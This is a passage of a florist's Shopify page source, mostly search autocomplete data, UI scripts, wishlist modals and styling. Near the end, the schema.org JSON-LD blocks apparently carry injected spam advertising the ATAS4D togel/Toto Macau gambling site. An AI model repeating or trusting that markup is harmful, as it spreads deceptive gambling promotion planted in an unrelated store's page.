jabodetabek", category: "Produk", url: "/products/charming-forevermore-jabodetabek", images: "https://outerbloom.com/cdn/shop/files/JKTWED1036_Charming-Forevermore-Jabodetabek-WM_thumb.jpg?v=1703239534", price: "Rp 485.000" },{ label: "moment of glory jabodetabek", category: "Produk", url: "/products/moment-of-glory-jabodetabek", images: "https://outerbloom.com/cdn/shop/products/JKTCON1051_Moment-of-Glory-Jabodetabek_2_thumb.jpg?v=1596614663", price: "Rp 385.000" },{ label: "with love bouquet", category: "Produk", url: "/products/with-love-bouquet", images: "https://outerbloom.com/cdn/shop/products/c5d6fed6-8ada-4c38-ae0f-36d395aacb19_613f78f0-d52c-443b-9e13-63a151cd8ec5_thumb.jpg?v=1590748429", price: "Rp 535.000" },{ label: "sincerely", category: "Produk", url: "/products/sincerely", images: "https://outerbloom.com/cdn/shop/files/Sincerely-WM_thumb.jpg?v=1688354677", price: "Rp 1.349.417" },{ label: "passion rouge bloom box", category: "Produk", url: "/products/passion-rouge-bloom-box", images: "https://outerbloom.com/cdn/shop/files/OBVBUN1725_Passion-Rouge-Bloom-Box_thumb.jpg?v=1756972410", price: "Rp 385.000" },{ label: "sweet romance jabodetabek", category: "Produk", url: "/products/sweet-romance", images: "https://outerbloom.com/cdn/shop/products/JKTWED1005_Sweet-Romance-Jabodetabek_thumb.gif?v=1677134791", price: "Rp 635.000" },{ label: "sunflower yellow and with white daisies in vase", category: "Produk", url: "/products/sunflower-yellow-roses-with-white-and-yellow-daisies-in-a-glass-vase", images: "https://outerbloom.com/cdn/shop/files/OBVBUN1132_Sunflower-Yellow-And-With-White-Daisies-in-Vase_thumb.jpg?v=1757930628", price: "Rp 435.000" },{ label: "everlasting peace jabodetabek", category: "Produk", url: "/products/everlasting-peace-jabodetabek", images: "https://outerbloom.com/cdn/shop/products/JKTDUK1034_Everlasting-Peace-Jabodetabek_2_thumb.jpg?v=1596614613", price: "Rp 385.000" },{ label: "classic purple orchid majesty in vase", category: "Produk", url: "/products/classic-purple-orchid-majesty-in-vase", images: "https://outerbloom.com/cdn/shop/products/Classic-Purple-Orchid-Majesty-in-Vase---White---4-Tangkai_40a5e337-283f-40f5-911c-5df9b506b9da_thumb.jpg?v=1639981404", price: "Rp 435.000" },{ label: "classic white orchid majesty in vase", category: "Produk", url: "/products/classic-white-orchid-majesty-in-vase", images: "https://outerbloom.com/cdn/shop/products/Classic-white-Orchid-Majesty-in-Vase---white---4-Tangkai_thumb.jpg?v=1644205542", price: "Rp 435.000" }
13765,{ label: "black pink bouquet", category: "Produk", url: "/products/black-pink-bouquet", images: "https://outerbloom.com/cdn/shop/files/Black-Pink-Bouquet_thumb.jpg?v=1756434063", price: "Rp 485.000" },{ label: "majestic blue romance bouquet", category: "Produk", url: "/products/majestic-blue-romance-bouquet", images: "https://outerbloom.com/cdn/shop/files/OBVBUN1357_Majestic-Blue-Romance-Bouquet_99b8ba96-0e67-4eef-a00e-b2daedcddb6a_thumb.jpg?v=1757390540", price: "Rp 435.000" },{ label: "happy days jabodetabek", category: "Produk", url: "/products/happy-days-jabodetabek", images: "https://outerbloom.com/cdn/shop/files/Happy-Days-Jabodetabek_WM_thumb.jpg?v=1759224026", price: "Rp 485.000" },{ label: "solemn comfort jabodetabek", category: "Produk", url: "/products/solemn-comfort-jabodetabek", images: "https://outerbloom.com/cdn/shop/products/7fe123d8-6bb2-4c0d-bd4c-f8c3032823f2_6b9c33b6-4a23-41cb-8709-fc9223fe096a_thumb.png?v=1590662086", price: "Rp 635.000" },{ label: "pink darling bouquet", category: "Produk", url: "/products/pink-darling-bouquet", images: "https://outerbloom.com/cdn/shop/products/Pink-Darling-Bouquet_thumb.jpg?v=1669969725", price: "Rp 485.000" },{ label: "profound happiness jabodetabek", category: "Produk", url: "/products/profound-happiness-jabodetabek", images: "https://outerbloom.com/cdn/shop/files/profound-happiness_thumb.gif?v=1689940309", price: "Rp 635.000" },{ label: "big dreams jabodetabek", category: "Produk", url: "/products/big-dreams", images: "https://outerbloom.com/cdn/shop/files/JKTCON1002_Big-Dreams-Jabodetabek_thumb.gif?v=1717494603", price: "Rp 485.000" },{ label: "amorous amos jabodetabek", category: "Produk", url: "/products/amorous-amos-jabodetabek", images: "https://outerbloom.com/cdn/shop/files/Amorous-Amos-Jabodetabek-WM_thumb.jpg?v=1759224071", price: "Rp 485.000" },{ label: "signature ramadan deluxe hampers", category: "Produk", url: "/products/outerbloom-signature-ramadhan-deluxe-hampers", images: "https://outerbloom.com/cdn/shop/files/Deluxe-Hampers_e16636a3-3c6b-4ac2-9e17-eb20579111cd_thumb.jpg?v=1769675273", price: "Rp 985.000" },{ label: "sincerity solace", category: "Produk", url: "/products/sincerity-solace", images: "https://outerbloom.com/cdn/shop/products/OUTSTF1038_sincerity-solace-WM_thumb.jpg?v=1612352477", price: "Rp 485.000" },{ label: "love symphony bloom box", category: "Produk", url: "/products/love-symphony-bloom-box", images: "https://outerbloom.com/cdn/shop/files/Love-Symphony-Bloom-Box_thumb.jpg?v=1701939722", price: "Rp 685.000" },{ label: "blue concerto", category: "Produk", url: "/products/blue-concerto", images: "https://outerbloom.com/cdn/shop/files/Blue-Concerto-WM_thumb.jpg?v=1723708248", price: "Rp 1.349.417" },{ label: "healing trove", category: "Produk", url: "/products/healing-trove", images: "https://outerbloom.com/cdn/shop/products/2ef5379f-27a6-41ba-85c7-c65cf3ec3f08_thumb.jpg?v=1571471845", price: "Rp 485.000" },{ label: "bellarosa bloom box", category: "Produk", url: "/products/bellarosa-bloom-box", images: "https://outerbloom.com/cdn/shop/files/OBVBUN1783_Bellarosa-Bloom-Box_c0000424-411c-48ed-abf4-0de7d925ea53_thumb.jpg?v=1757316757", price: "Rp 785.000" },
13766  ];
13767
13768             
13769        $( ".header-input-search" ).catcomplete({
13770         appendTo: ".searchResult",source: function(request, response) {
13771            var results = $.ui.autocomplete.filter(data, request.term);
13772            var predicate = function () {
13773                var counter = { Collection: 0, Produk: 0 };
13774            var fn = function(item) {counter[item.category] += 1;return (counter[item.category] <= 5);}
13775            return fn
13776            }();
13777            response(results.filter(predicate));
13778          },
13779          minLength:1,
13780           //results are clickable
13781          select: function( event, ui ) {window.location = ui.item.url;}
13782});
13783$( ".header-input-search2" ).catcomplete({
13784        appendTo: ".searchResult2",
13785                   source: function(request, response) {
13786                    var results = $.ui.autocomplete.filter(data, request.term);
13787                    var predicate = function () {
13788                        var counter = { Collection: 0, Produk: 0 };
13789              var fn = function(item) {
13790              counter[item.category] += 1;
13791  return (counter[item.category] <= 5);
13792}
13793               return fn
13794               }();
13795response(results.filter(predicate));
13796},
13797  minLength:1,
13798        //results are clickable
13799        select: function( event, ui ) {
13800          window.location = ui.item.url;
13801        }
13802});
13803});
13804</script>
13804
13805
13806    
13806<script src="https://outerbloom.com/cdn/shop/t/138/assets/vendors.js?v=6349622868601634021752652419" defer></script>
vendor: 1 bytes, line 13806
13806
13807<script src="https://outerbloom.com/cdn/shop/t/138/assets/app.js?v=110161375600675176711769541235" defer></script>
13807
13808
13809<script>
13810  ( function() {
13811    var youtube = document.querySelectorAll( ".youtube" );
13812    for (var i = 0; i < youtube.length; i++) {
13813      var source = "https://img.youtube.com/vi/"+ youtube[i].dataset.embed +"/sddefault_1x.jpg";
13814      var datasource = "https://img.youtube.com/vi/"+ youtube[i].dataset.embed +"/sddefault.jpg";
13815      var image = new Image();
13816      image.src = source;
13817      image.setAttribute("data-src", datasource);
13818      image.classList.add("swiper-lazy");
13819      image.addEventListener( "load", function() {
13820        youtube[ i ].appendChild( image );
13821      }( i ) );
13822      youtube[i].addEventListener( "click", function() {
13823        var iframe = document.createElement( "iframe" );
13824        iframe.setAttribute( "width", "480" );
13825        iframe.setAttribute( "height", "480" );
13826        iframe.setAttribute( "frameborder", "0" );
13827        iframe.setAttribute( "allowfullscreen", "" );
13828        iframe.setAttribute( "src", "https://www.youtube.com/embed/"+ this.dataset.embed +"?rel=0&showinfo=0&autoplay=1" );
13829        this.innerHTML = "";
13830        this.appendChild( iframe );
13831      } );
13832    };
13833
13834  } )();
13835
13836  /* Lazy Load */
13837  if (typeof mainLazyLoad === 'undefined') {
13838    var mainLazyLoad = new LazyLoad({threshold:400});
13839  }
13840  $(document).ready(function(){
13841
13842    $("selectxxx").addClass("needsclick");
13843    FastClick.attach(document.body);
13844    
13845    // Only initialize select2 on desktop screens (width > 992px)
13846    if ($(window).width() > 992) {
13847      var $customSelects = $('.select-search');
13848      $customSelects.select2({
13849        templateResult: function(result, container) {
13850        if (!result.id) {
13851          return result.text;
13852        }
13853        container.className += ' needsclick';
13854        return result.text;
13855        }
13856      });
13857      $customSelects.each(function(index, el){$(el).data('select2').$container.find('*').addClass('needsclick');});
13858      $(document).on('select2:open', () => {
13859        document.querySelector('.select2-search__field').focus();
13860      });
13861    }
13862    
13863
13864    $(".overlay").click(function(){
13865      $(".js-drawer-close").click();
13866    });
13867    $(".site-nav--mobile .js-drawer-open-left, #NavDrawer .icon-close, .overlay-nav").click(function(){
13868      $("html").toggleClass("nav_open");
13869    });
13870    
13871    $('.swatch-element label').on('click', function(){
13872      var srcImg = $(this).data('src');
13873      $('#thumb-image-product .product-single__thumbnail').each(function(){
13874        if ($(this).attr("href") == srcImg) {
13875          $(this).trigger('click');
13876        }
13877      });
13878    });
13879    var defaultValue = $(".swatch input:checked").val()
13880    
13881    $('#purchaseProduct .swatch [type=radio]').change(function() {
13882      var optionIndex = $(this).closest('.swatch').attr('data-option-index');
13883      var optionValue = $(this).val();
13884      console.log(optionIndex, optionValue)
13885      var value = parseInt(optionValue.split(' ')[0])
13886      $(this)
13887      .closest('#purchaseProduct')
13888      .find('.single-option-selector')
13889      .eq(optionIndex)
13890      .val(optionValue)
13891      .trigger('change');
13892      
13893    });
13894    
13895  });
13896  $(document).ready(function(){
13897    $(".nav-search a").click(function(e){
13898      e.preventDefault();
13899      $(".icon-navsearch").toggle();
13900      $(".icon-navclose").toggle();
13901      $(".site-nav__item > .site-nav__link").toggle();
13902      $(".open-search").toggle();
13903      $(".open-search input").focus();
13904    });
13905    $(".best-price-guarantee").html("<img src='https://outerbloom.com/cdn/shop/t/138/assets/logo-best-price-guarantee-grid_75x.png?v=72489032173169839651752652420' alt='Logo Best Price Guarantee'>");
13906    if ($(window).width() < 768) {
13907      $(".bg-products .label-tag.valentine").html("<img src='https://outerbloom.com/cdn/shop/t/138/assets/icon-valentine_30x.png?v=128458483378922561591768211980' alt='Icon Valentine'>");
13908      $(".bg-products .label-tag.cny").html("<img src='https://outerbloom.com/cdn/shop/t/138/assets/icon-cny_45x.png?v=101884295148001743851752652418' alt='Icon CNY'>");
13909      $(".bg-products .label-tag.free-valentine").html("<img src='https://outerbloom.com/cdn/shop/t/138/assets/free-valentine_150x.png?v=171641187769238175351752652421' alt='Icon Free Valentine'>");
13910    } else {
13911      $(".bg-products .label-tag.valentine").html("<img src='https://outerbloom.com/cdn/shop/t/138/assets/icon-valentine_30x.png?v=128458483378922561591768211980' alt='Icon Valentine'>");
13912      $(".bg-products .label-tag.cny").html("<img src='https://outerbloom.com/cdn/shop/t/138/assets/icon-cny_60x.png?v=101884295148001743851752652418' alt='Icon CNY'>");
13913      $(".bg-products .label-tag.free-valentine").html("<img src='https://outerbloom.com/cdn/shop/t/138/assets/free-valentine_200x.png?v=171641187769238175351752652421' alt='Icon Free Valentine'>");
13914    }
13915    $(".bg-products .label-tag.free-cookies").html("<img src='https://outerbloom.com/cdn/shop/t/138/assets/free-cookies_80x.png?v=57303' alt='Icon Free Cookies'>");
13916    $(".bg-products .label-tag.mothersday").html("<img src='https://outerbloom.com/cdn/shop/t/138/assets/mothers-day_70x.png?v=171373711354766377891752652419' alt='Icon Mothers day'>");
13917  });
13918</script>
13918
13919
13920    
13921    
13921<script>
13922  /* Lazy Load */
13923  if (typeof mainLazyLoad === 'undefined') {
13924    var mainLazyLoad = new LazyLoad({threshold:400});
13925  }
13926  
13927  // Function to initialize select2 when it's ready (only on desktop >992px)
13928  function initializeSelect2() {
13929    // Only initialize select2 on desktop screens (width > 992px)
13930    if ($(window).width() <= 992) {
13931      return;
13932    }
13933    
13934    var $customSelects = $('.select-search');
13935    
13936    if ($customSelects.length > 0 && typeof $.fn.select2 !== 'undefined') {
13937      try {
13938        $customSelects.select2({
13939          templateResult: function(result, container) {
13940            if (!result.id) {
13941              return result.text;
13942            }
13943            container.className += ' needsclick';
13944            return result.text;
13945          }
13946        });
13947        $customSelects.each(function(index, el){
13948          $(el).data('select2').$container.find('*').addClass('needsclick');
13949        });
13950        console.log('Select2 initialized successfully');
13951      } catch(e) {
13952        console.warn('Select2 initialization failed:', e);
13953      }
13954    } else if ($customSelects.length > 0) {
13955      // Retry after a short delay if select2 is not yet loaded
13956      setTimeout(initializeSelect2, 100);
13957    }
13958  }
13959  
13960  $(document).ready(function(){
13961    $("select").addClass("needsclick");
13962    
13963    if (typeof FastClick !== 'undefined') {
13964      FastClick.attach(document.body);
13965    }
13966    
13967    // Initialize select2 with retry mechanism
13968    initializeSelect2();
13969
13970    $(".overlay").click(function(){
13971      $(".js-drawer-close").click();
13972    });
13973    $(".site-nav--mobile .js-drawer-open-left, #NavDrawer .icon-close, .overlay-nav").click(function(){
13974      $("html").toggleClass("nav_open");
13975    });
13976    
13977    // Wait for Shopify OptionSelectors to be initialized
13978    setTimeout(function() {
13979      // Remove any existing handlers first
13980      $('.swatch :radio').off('change.swatchHandler');
13981      
13982      // Attach new handler with namespace - use event delegation
13983      $(document).off('change.swatchHandler', '.swatch :radio');
13984      $(document).on('change.swatchHandler', '.swatch :radio', function() {
13985        var optionIndex = $(this).closest('.swatch').attr('data-option-index');
13986        var optionValue = $(this).val();
13987        
13988        // Find the corresponding single option selector
13989        var $selector = $('.single-option-selector[data-index="option' + (parseInt(optionIndex) + 1) + '"]');
13990        
13991        // If not found, try alternative selector
13992        if ($selector.length === 0) {
13993          $selector = $('#productSelect-option-' + optionIndex);
13994        }
13995        
13996        // If still not found, try finding by position
13997        if ($selector.length === 0) {
13998          $selector = $('.single-option-selector').eq(optionIndex);
13999        }
14000        
14001        if ($selector.length > 0) {
14002          $selector.val(optionValue).trigger('change');
14003        }
14004      });
14005    }, 300);
14006    
14007  });
14008  $(window).load(function(){
14009    $(".best-price-guarantee").html("<img src='https://outerbloom.com/cdn/shop/t/138/assets/logo-best-price-guarantee-grid_65x.png?v=72489032173169839651752652420' alt='Logo Best Price Guarantee'>");
14010  });
14011</script>
14011
14012
14013    
14014    
14015    
14016    
14017    
14018    
14019
14020    
14020<script type="text/javascript">
14021      var wishlistpage = 0;
14022       
14023       var quickShop_money_format="<span class='money'>"+"Rp {{amount_no_decimals}}"+"</span>";
14024    </script>
14024
14025    
14026      <!-- Remove duplicate wishlist.js reference -->
14027      <style>
14028  .fade{opacity:0;-webkit-transition:opacity .15s linear;-o-transition:opacity .15s linear;transition:opacity .15s linear}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999999;display:none;overflow:hidden;-webkit-overflow-scrolling:touch;outline:0}.fade.in{opacity:1}.modal-open .modal{overflow-x:hidden;overflow-y:auto;z-index:999999;background-color:rgba(0,0,0,.3)}.modal-dialog{position:relative;width:auto;margin:10px}.wishlist-model .modal-dialog{width:700px}.modal.fade .modal-dialog{-webkit-transition:-webkit-transform .3s ease-out;-o-transition:-o-transform .3s ease-out;transition:transform .3s ease-out;-webkit-transform:translate(0,-25%);-ms-transform:translate(0,-25%);-o-transform:translate(0,-25%);transform:translate(0,-25%)}.modal.in .modal-dialog{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);-o-transform:translate(0,0);transform:translate(0,0)}.modal-content{position:relative;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #999;border:1px solid rgba(0,0,0,.2);outline:0;-webkit-box-shadow:0 3px 9px rgba(0,0,0,.5);box-shadow:0 3px 9px rgba(0,0,0,.5)}.wishlist-model .modal-content{}.wishlist-model .modal-header{min-height:0;padding:0;border-bottom:0}.close{float:right;font-size:21px;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #121212;filter:alpha(opacity=20);opacity:.2}button.close{-webkit-appearance:none;padding:0;cursor:pointer;background:0 0;border:0}.modal-header .close{margin-top:-2px}.wishlist-model .close{position:absolute;top:-10px;right:-10px;background:#fff;opacity:1;width:30px;height:30px;font-size:15px;border-radius:50%;z-index:10;box-shadow:0 1px 4px 0 #121212}.wishlist-model .close .icon-close{width:25px;height:25px}.modal-body{position:relative;padding:15px}.wishlist-model .modal-body{padding:0 30px;display:flex}.wishlist-model .wishlist-left{width:66.67%;border-right:1px solid #ccc;padding:30px 0}.wishlist-model .wishlist-note{position:relative;display:inline-block;margin-bottom:20px;margin-left:35px;border-bottom:1px solid #121212;color:#121212}.wishlist-model .wishlist-note a{color: #212121;}.wishlist-model .wishlist-note .cirle{position:absolute;top:-4px;left:-35px;width:25px;height:25px;color:#fff;background:#121212;line-height:25px;border-radius:50%;text-align:center}.wishlist-model .wishlist-note svg{fill:#fff}.wishlist-model .wishlist-note .cirle .icon-check{vertical-align:middle}.wishlist-model .product-left{width:33.33%;float:left;margin-right:30px}.wishlist-model .wishlist-image{overflow:hidden}.wishlist-model .wishlist-image img{transition:all .3s linear}.wishlist-model .wishlist-name{padding:0;margin-bottom:10px}.wishlist-model .wishlist-name a{color: #212121;}.wishlist-model .wishlist-price{margin-bottom:10px}.wishlist-model .wishlist-price .price{font-weight:700;margin-right:10px;font-size:15px}.wishlist-model .wishlist-price .price_compare{color:#ccc}.wishlist-model .wishlist-right{width:33.33%;padding:30px 0;padding-left:30px}.wishlist-model .btn-quick-shop{width:100%;border-color:#121212;background:#fff;color:#121212;padding:0 30px;transition:all .2s linear;height:36px;margin-bottom:10px;text-transform:uppercase}.wishlist-model .btn-cta{width:100%;font-size:1em;border-color:#212121;background:#212121;color:#fff;padding:0;transition:all .2s linear;height:36px;line-height:36px;margin-bottom:10px}.wishlist-model .quantity-content{text-align:center}.wishlist-model .quantity-content input{outline:none;text-align:center;font-weight:600;border:1px solid #121212}.wishlist-model .quantity-content button{border-color:#121212}@media (min-width:768px){.modal-dialog{width:600px;margin:30px auto}.modal-content{-webkit-box-shadow:0 5px 15px rgba(0,0,0,.5);box-shadow:0 5px 15px rgba(0,0,0,.5)}}
14029</style>
14030
14031<div class="modal fade" id="modalwishlist0" tabindex="-1" role="dialog">
14032  <div class="modal-dialog" role="document">
14033    <div class="modal-content">        
14034      <div class="modal-body">Your Wishlist is empty!</div>
14035      <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>          
14036    </div>
14037  </div>
14038</div> 
14039
14040<div class="wishlist-model">
14041  <div class="modal fade" id="modalwishlist1" tabindex="-1" role="dialog" aria-hidden="true">
14042    <div class="modal-dialog white-modal">
14043      <div class="modal-content">
14044        <div class="modal-header">
14045          <button type="button" class="close" data-dismiss="modal" aria-label="Close">
14046            <svg class="icon icon-close" version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32">
14047<title>icon-close</title>
14048<path d="M16.943 16l8.862 8.862c0.26 0.26 0.26 0.682 0 0.943s-0.682 0.26-0.943 0l-8.862-8.862-8.862 8.862c-0.26 0.26-0.682 0.26-0.943 0s-0.26-0.682 0-0.943l8.862-8.862-8.862-8.862c-0.26-0.26-0.26-0.682 0-0.943s0.682-0.26 0.943 0l8.862 8.862 8.862-8.862c0.26-0.26 0.682-0.26 0.943 0s0.26 0.682 0 0.943l-8.862 8.862z"></path>
14049</svg>
14050          </button>
14051        </div>
14052        <div class="modal-body">
14053          <div class="wishlist-left">
14054            <div class="wishlist-note">
14055              <span class="cirle"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32">
14056<title>icon-check</title>
14057<path d="M12 21.766l14.218-12.926c0.272-0.248 0.694-0.228 0.942 0.045s0.228 0.694-0.045 0.942l-14.667 13.333c-0.254 0.231-0.643 0.231-0.897 0l-6.667-6.061c-0.272-0.248-0.293-0.669-0.045-0.942s0.669-0.293 0.942-0.045l6.218 5.653z"></path>
14058</svg></span>
14059              Product added to <a href="/pages/wish-list">Wishlist</a>
14060            </div>
14061            <div class="wishlist-product">
14062              <div class="product-left">
14063                <div class="wishlist-image"></div>
14064              </div>
14065              <div class="product-right">
14066                <div class="wishlist-name"></div>
14067                <div class="wishlist-price"></div>
14068              </div>
14069            </div>
14070          </div>
14071          <div class="wishlist-right">
14072            <div class="wishlist-cart">
14073              <form action="/cart/add" method="post" class="variants-form variants" id="AddToCartForm" enctype="multipart/form-data">                  
14074                <div class="others-bottom">
14075                  <a class="btn btn-quick-shop" href="/pages/wish-list">View Wishlist</a>
14076                  <button type="submit" name="add" id="AddToCart" class="btn btn-cta">
14077                    <span id="AddToCartText" class="">Beli Sekarang</span>
14078                  </button>
14079                </div>
14080                <div id="wishlist-variants-container" class="variants-wrapper"></div> 
14081                <div class="quantity-content">
14082                  <label>QTY</label>
14083                  <input type="number" size="5" class="" name="quantity" value="1" />
14084                </div>
14085              </form> 
14086            </div>
14087          </div>
14088        </div>
14089      </div>
14090    </div>
14091  </div>
14092</div>
14093    
14094
14095    
14096
14097    
14098      
14099      
14099<script type="application/ld+json">
14100        {
14101               "@context": "http://schema.org/",
14102               "@type": "Product",
14103          	   "url": "https://atas4d.biz/",
14104          	   "name": "ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap",
14105               "image": "https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp",
14106               "description": "&lt;ul&gt;
14107&lt;li&gt;
14108&lt;strong&gt;ATAS4D&lt;/strong&gt;&lt;br&gt;&lt;strong&gt;&lt;/strong&gt;&lt;strong&gt;&lt;/strong&gt;
14109&lt;/li&gt;
14110&lt;li&gt;
14111&lt;strong&gt;TOGEL&lt;/strong&gt;&lt;br&gt;
14112&lt;/li&gt;
14113&lt;li&gt;&lt;strong&gt;TOTO&lt;/strong&gt;&lt;/li&gt;
14114&lt;/ul&gt;
14115&lt;p&gt;ATAS4D adalah platform game togel toto macau 4D terbaik dengan fitur lengkap, akses cepat, pasaran terpercaya, dan peluang kemenangan menarik setiap hari.&lt;/p&gt;
14116&lt;p&gt;&lt;img src=&quot;https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
14117&lt;table style=&quot;width: 100.091%;&quot; width=&quot;100%&quot;&gt;
14118&lt;tbody&gt;
14119&lt;tr&gt;
14120&lt;td style=&quot;width: 33.7327%;&quot;&gt;SKU&lt;/td&gt;
14121&lt;td style=&quot;width: 65.9908%;&quot;&gt;[C]ATAS4D&lt;br&gt;[C]OBIPCL1004-CNY2026&lt;br&gt;
14122&lt;/td&gt;
14123&lt;/tr&gt;
14124&lt;tr&gt;
14125&lt;td style=&quot;width: 33.7327%;&quot;&gt;Isi&lt;/td&gt;
14126&lt;td style=&quot;width: 65.9908%;&quot;&gt;link login situs toto togel 4D&lt;br&gt;toto4d resmi terpercaya 2026&lt;br&gt;bandar toto macau gacor&lt;br&gt;situs toto4d togel macau&lt;br&gt;toto4d togel macau gacor&lt;br&gt;situs toto togel macau&lt;br&gt;toto togel 4D&lt;br&gt;
14127&lt;/td&gt;
14128&lt;/tr&gt;
14129&lt;/tbody&gt;
14130&lt;/table&gt;",
14131               "brand": {
14132                   "name": "ATAS4D"
14133               },
14134               "sku": "[C]ATAS4D",
14135               "mpn": "[C]ATAS4D",
14136               "offers": {
14137                   "@type": "Offer",
14138                   "priceCurrency": "IDR",
14139                   "price": "1885000",
14140                   "availability": "http://schema.org/InStock",
14141                   "seller": {
14142                       "@type": "Organization",
14143                        "name": "ATAS4D"
14144                   },
14145                   "url": "https://atas4d.biz/"
14146               }
14147               
14148        }
14149      </script>
vendor: 1 bytes, line 14149
14149
14150<script type="application/ld+json">
14151{
14152  "@context": "https://schema.org",
14153  "@type": "VideoObject",
14154  "name": "ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap",
14155  "description": "ATAS4D adalah platform game togel toto macau 4D terbaik dengan fitur lengkap, akses cepat, pasaran terpercaya, dan peluang kemenangan menarik setiap hari.",
14156  "thumbnailUrl": "https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp",
14157  "uploadDate": "2025-02-15",
14158  "duration": "PT45S",
14159  "contentUrl": "https://atas4d.biz/images/game-online.mp4",
14160  "embedUrl": "https://atas4d.biz/images/game-online.mp4",
14161  "publisher": {
14162    "@type": "Organization",
14163    "name": "ATAS4D",
14164    "logo": {
14165      "@type": "ImageObject",
14166      "url": "https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
14167    },
14168    "url": "https://atas4d.biz/"
14169  },
14170  "keywords": [
14171    "ATAS4D",
14172    "ATAS 4D",
14173    "ATAS4D LOGIN",
14174    "TOGEL MACAu",
14175    "TOTO MACAU",
14176    "TOTO MACAu 4D"
14177  ],
14178  "genre": "Entertainment",
14179  "inLanguage": "id-ID",
14180  "interactionStatistic": {
14181    "@type": "InteractionCounter",
14182    "interactionType": {
14183      "@type": "WatchAction"
14184    },
14185    "userInteractionCount": 125000
14186  },
14187  "isFamilyFriendly": true,
14188  "width": 1920,
14189  "height": 1080,
14190  "encodingFormat": "video/mp4"
14191}
14192</script>
14192
14193 
14193<script type="application/ld+json">
14194 {
14195  "@context": "https://schema.org",
14196  "@type": "BreadcrumbList",
14197  "name": "ATAS4D",
14198  "description": "ATAS4D adalah platform game togel toto macau 4D terbaik dengan fitur lengkap, akses cepat, pasaran terpercaya, dan peluang kemenangan menarik setiap hari.",
14199  "itemListElement": [
14200    {
14201      "@type": "ListItem",
14202      "position": 1,
14203      "name": "Home",
14204      "item": "https://atas4d.biz/"
14205    },
14206    {
14207      "@type": "ListItem",
14208      "position": 2,
14209      "name": "ATAS4D",
14210      "item": "https://atas4d.biz/"
14211    },
14212    {
14213      "@type": "ListItem",
14214      "position": 3,
14215      "name": "ATAS 4D",
14216      "item": "https://atas4d.biz/"
14217    },
14218    {
14219      "@type": "ListItem",
14220      "position": 4,
14221      "name": "ATAS4D LOGIN",
14222      "item": "https://atas4d.biz/"
14223    },
14224    {
14225      "@type": "ListItem",
14226      "position": 5,
14227      "name": "TOGEL MACAU",
14228      "item": "https://atas4d.biz/"
14229    },
14230    {
14231      "@type": "ListItem",
14232      "position": 6,
14233      "name": "TOTO MACAU",
14234      "item": "https://atas4d.biz/"
14235    },
14236    {
14237      "@type": "ListItem",
14238      "position": 7,
14239      "name": "TOTO MACAU 4D",
14240      "item": "https://atas4d.biz/"
14241    }
14242  ]
14243}
14244</script>
14244 
14245
14246    <style>
14247       .stamped-badge[data-rating="0.0"]{display: none !Important;}
14248       
14249        div[data-load-type="continue"] ul.stamped-pagination li.next a, div[data-widget-load-type="continue"] ul.stamped-pagination li.next a {
14250          border-radius: 0px;
14251      }
14252          .stamped-review-body {
14253          padding-left: 0px !important;
14254      }
14255          #product-reviews .stamped-header:after {
14256            display:none !Important;
14257          }
14258      #stamped-main-widget .stamped-container, .stamped-badge-caption,#stamped-reviews-widget {
14259      	font-family:inherit !important;
14260      }
14261    </style>
14262
14263    
14264
14265    
14265<script src="https://outerbloom.com/cdn/shop/t/138/assets/variant-sku-handler.js?v=91239063692820757781752652418" defer></script>
14265
14266    
14267    <!-- Wishlist API Configuration -->
14268    
14268<script>
14269      window.WISHLIST_API_URL = 'https://app.asmaraku.com'; // Change to production URL
14270      
14271      // Initialize Shopify object BEFORE wishlist-manager loads
14272      window.Shopify = window.Shopify || {};
14273      
14274      // Set shop domain - try multiple methods to ensure it's set
14275      const shopDomain = '';
14276      
14277      if (shopDomain && shopDomain.trim()) {
14278        window.Shopify.shop = shopDomain.trim();
14279      } else {
14280        // Fallback: try to get from shop.domain or hardcode
14281        const shopDomain2 = 'outerbloom.com';
14282        if (shopDomain2 && shopDomain2.trim()) {
14283          window.Shopify.shop = shopDomain2.trim();
14284        } else {
14285          // Manual fallback - set your shop domain here
14286          window.Shopify.shop = 'outerbloom1.myshopify.com'; // TODO: Change this to your actual shop domain
14287        }
14288      }
14289      
14290      
14291      console.log('[Wishlist Setup] No customer logged in');
14292      
14293    </script>
14293
14294    
14295    <!-- Wishlist Manager - New API Integration (load AFTER customer data) -->
14296    
14296<script src="https://outerbloom.com/cdn/shop/t/138/assets/wishlist-manager.js?v=119203892983812840831770794810"></script>
14296
14297
14298    
14298<script>
14299      function myInit(){ StampedFn.init({ apiKey: 'pubkey-hCS8DHE9QbBHhHN89WXFkuJ0Y3422D', sId: '23462' }); }
14300    </script>
14300
14301    
14301<script async onload="myInit()" type="text/javascript" src="https://cdn1.stamped.io/files/widget.min.js"></script>
14301<style>
14302  .jss59 {
14303    background-color: rgba(0, 0, 0, 0.6);
14304  }
14305  .MuiBackdrop-root {
14306    top: 0;
14307    left: 0;
14308    right: 0;
14309    bottom: 0;
14310    display: flex;
14311    z-index: -1;
14312    position: fixed;
14313    align-items: center;
14314    justify-content: center;
14315    background-color: rgba(0, 0, 0, 0.5);
14316    -webkit-tap-highlight-color: transparent;
14317  }
14318  .MuiDialog-scrollPaper {
14319    display: flex;
14320    align-items: center;
14321    justify-content: center;
14322  }
14323  .MuiDialog-container {
14324    height: 100%;
14325    outline: 0;
14326  }
14327  .MuiPaper-elevation24 {
14328    box-shadow: 0px 11px 15px -7px rgba(0,0,0,0.2), 0px 24px 38px 3px rgba(0,0,0,0.14), 0px 9px 46px 8px rgba(0,0,0,0.12);
14329  }
14330  .MuiDialog-paper {
14331    margin: 32px;
